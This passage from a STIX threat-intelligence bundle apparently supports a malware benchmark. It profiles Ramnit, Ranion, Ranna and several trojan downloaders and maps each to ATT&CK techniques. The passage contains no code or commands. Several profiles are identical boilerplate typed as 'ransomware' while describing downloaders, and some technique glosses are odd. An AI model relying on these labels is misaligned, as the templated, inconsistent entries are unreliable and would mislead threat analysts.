      "id": "relationship--3f3d0fad-552e-5de6-bbad-cbfe2b9e71ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b0d97dd-11b7-51e8-97e9-4869db0c6989",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnif exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98452ee3-a74d-595a-bea7-cea6165b0d50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b0d97dd-11b7-51e8-97e9-4869db0c6989",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnif exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d584151-d186-5bab-b85f-6a029337e7b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b0d97dd-11b7-51e8-97e9-4869db0c6989",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnif exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ramnit",
      "description": "Ramnit (also known as Nimnul or Cosmu) is a devastating, multi-faceted banking trojan and worm that first emerged in 2010. Originally conceived as a Windows file infector that appended malicious code to executable (EXE, DLL, SCR) and HTML files, its operators subsequently integrated Zeus banking trojan components, transforming it into an aggressive financial fraud engine capable of man-in-the-browser (MitB) attacks.\n\nRamnit is characterized by its aggressive self-propagating worm mechanisms: it spreads across local area networks, infects removable USB storage drives by exploiting Windows Shell shortcut vulnerabilities (CVE-2010-2568), and injects malicious script hooks into stored HTML files. For command and control, Ramnit utilizes a Domain Generation Algorithm (DGA) capable of generating hundreds of candidate domains per day to bypass static firewall blocks. In February 2015, Europol's European Cybercrime Centre (EC3), in collaboration with the FBI, the UK National Crime Agency (NCA), and Germany's BKA, executed an international disruption operation that seized 300 C2 domain names, liberating an estimated 3.2 million compromised computers from the botnet's control. (Observed samples in benchmark: 20,595)",
      "is_family": true,
      "malware_types": [
        "worm",
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ramnit",
        "Nimnul",
        "Cosmu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ramnit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ramnit"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert TA15-058A (Ramnit Malware Takedown)"
        }
      ],
      "labels": [
        "worm_banker",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ea34463-f55c-5ce8-9156-d20edc2b9bbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84165046-e307-58da-84b0-ee7c9e4f1973",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fec63d0a-10c6-5b90-9dee-684dbe6eb9ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b64fea89-673b-5e46-abea-07b501bfd0ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a68aa65c-f369-550d-82b3-796bcd74871e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b11a074f-01b6-5b0b-9325-f0204d6c53d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b3c4034-aa9f-58e2-a023-4bef2b5e7295",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b17531-7712-5dc6-b8f4-c0320be54da7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--07cdd0de-a81c-5b36-b4f2-1aee4cd5deac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ranapama",
      "description": "Trojan:Win32/Ranapama is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ranapama</b><br>To an end-user, a Ranapama infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ranapama is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ranapama is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ranapama frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ranapama reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ranapama",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ranapama"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9978c5ae-80a4-5008-96a7-1695dc3dd615",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07cdd0de-a81c-5b36-b4f2-1aee4cd5deac",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranapama exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f3c6612-0197-51cc-ac07-2bb910ce8803",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07cdd0de-a81c-5b36-b4f2-1aee4cd5deac",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranapama exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cf24b96-ffb3-5cf8-949b-2f8ea9a99068",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07cdd0de-a81c-5b36-b4f2-1aee4cd5deac",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranapama exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9f87205-0e1f-5ecd-af84-b645b9670bec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07cdd0de-a81c-5b36-b4f2-1aee4cd5deac",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranapama exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f9ce884-f890-5dfc-885b-dc0fbdeb59a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07cdd0de-a81c-5b36-b4f2-1aee4cd5deac",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranapama exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d842057-817f-5d95-8a5a-f4f14fc63562",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Randrew",
      "description": "Trojan:Win32/Randrew is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Randrew</b><br>To an end-user, a Randrew infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Randrew is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Randrew is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Randrew frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Randrew reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Randrew",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/randrew"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec5a8805-0e5a-5ef2-9304-cdc2fa27e23c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d842057-817f-5d95-8a5a-f4f14fc63562",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Randrew exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--918d2a14-9654-5f20-b5f7-c5e07c1cb45b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d842057-817f-5d95-8a5a-f4f14fc63562",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Randrew exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5e3a277-0b38-522b-af62-f93a48a6dc0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d842057-817f-5d95-8a5a-f4f14fc63562",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Randrew exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8961a416-f456-54f7-a91a-4e10a99a61a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d842057-817f-5d95-8a5a-f4f14fc63562",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Randrew exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08488e69-9aaf-557e-9237-98d008890dd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d842057-817f-5d95-8a5a-f4f14fc63562",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Randrew exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a1d9764-3bb3-588b-b0c4-c7585f902a33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ranion",
      "description": "<h3>Executive Summary</h3>\nRanion is a Ransomware-as-a-Service (RaaS) platform that emerged on the dark web, offering cybercriminals a highly accessible, low-barrier entry into the ransomware ecosystem. Unlike many modern RaaS platforms that operate on a profit-sharing model (taking a percentage of the ransom), Ranion uniquely operates on a straightforward subscription or flat-fee model, providing affiliates with the fully functional ransomware payload and access to a centralized command-and-control (C2) dashboard.\n\n<h3>Infection Vector and Encryption Mechanics</h3>\nBecause Ranion is a RaaS platform, the distribution method varies wildly depending on the skill and resources of the specific affiliate utilizing the service. Common vectors include malspam campaigns, exploit kits, and exploiting weakly secured RDP instances.\n\nOnce the Ranion payload is executed on a victim's machine, it initiates its encryption routine:\n<ul>\n<li><strong>Data Encryption:</strong> Ranion scans local drives and mapped network shares for specific file extensions. It utilizes strong cryptographic algorithms (typically a combination of AES and RSA) to lock the files.</li>\n<li><strong>C2 Communication:</strong> The ransomware communicates with the centralized Ranion C2 infrastructure (often hosted on the Tor network) to register the infection and transmit the unique decryption key for that specific victim.</li>\n<li><strong>Extortion:</strong> It drops a ransom note (usually `.txt` or `.html`) providing the victim with instructions on how to access a payment portal via the Tor browser to pay the ransom in Bitcoin.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Ranion infection is a critical security incident that directly impacts data availability and business continuity. While the ransomware itself may not be as technologically advanced as tier-one threats like LockBit or BlackCat, the encryption is robust, and the resulting operational downtime is equally devastating.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The infected host must be immediately disconnected from the LAN and Wi-Fi to halt the encryption of mapped network shares and sever communication with the Ranion C2 infrastructure.</li>\n<li><strong>Do Not Pay:</strong> Paying the ransom funds the RaaS ecosystem and does not guarantee data recovery. Organizations should check resources like the \"No More Ransom\" project to see if a free decryptor has been released for the specific variant encountered.</li>\n<li><strong>Restore from Backup:</strong> The most reliable recovery method is to wipe the infected system completely, reinstall the operating system, and restore data from a clean, offline, immutable backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Ranion",
        "Ransom.Ranion",
        "Ranion RaaS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ranion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ranion"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa96e2a3-2223-55ea-9e00-03ef0d2b561b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a1d9764-3bb3-588b-b0c4-c7585f902a33",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranion exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2475217-3c27-5ebf-b2ca-5f189bff7f39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a1d9764-3bb3-588b-b0c4-c7585f902a33",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranion exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a915b73c-f8eb-5af8-ae88-33db42f7e9df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a1d9764-3bb3-588b-b0c4-c7585f902a33",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranion exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b55f40a4-254a-5b5b-a3dc-0a912f0df7f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ranna",
      "description": "<h3>Executive Summary</h3>\nRanna is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRanna is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Ranna operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Ranna ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Ranna receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Ranna infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Ranna executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Ranna frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ranna",
        "Downloader.Ranna",
        "Win32/Ranna"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ranna",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ranna"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59eb0156-08e3-55d9-985d-88820643b9ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b55f40a4-254a-5b5b-a3dc-0a912f0df7f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranna exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a168731-1786-5a24-9bca-c79acd22dff3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b55f40a4-254a-5b5b-a3dc-0a912f0df7f7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranna exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0c7cab9-47cd-5f55-bd70-84d36bbfc3b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b55f40a4-254a-5b5b-a3dc-0a912f0df7f7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranna exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9c5a41a-1c37-594a-95bc-d1e8ffcf5efa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ranos",
      "description": "Trojan:Win32/Ranos is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ranos</b><br>To an end-user, a Ranos infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ranos is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ranos is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ranos frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ranos reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ranos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ranos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da057238-250d-50e7-9771-668fbc244f47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9c5a41a-1c37-594a-95bc-d1e8ffcf5efa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranos exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--067611b7-1e8d-5f64-b119-dfe1280e737a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9c5a41a-1c37-594a-95bc-d1e8ffcf5efa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranos exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cbd3b6f-9815-5576-a6d2-91899a0a062e",
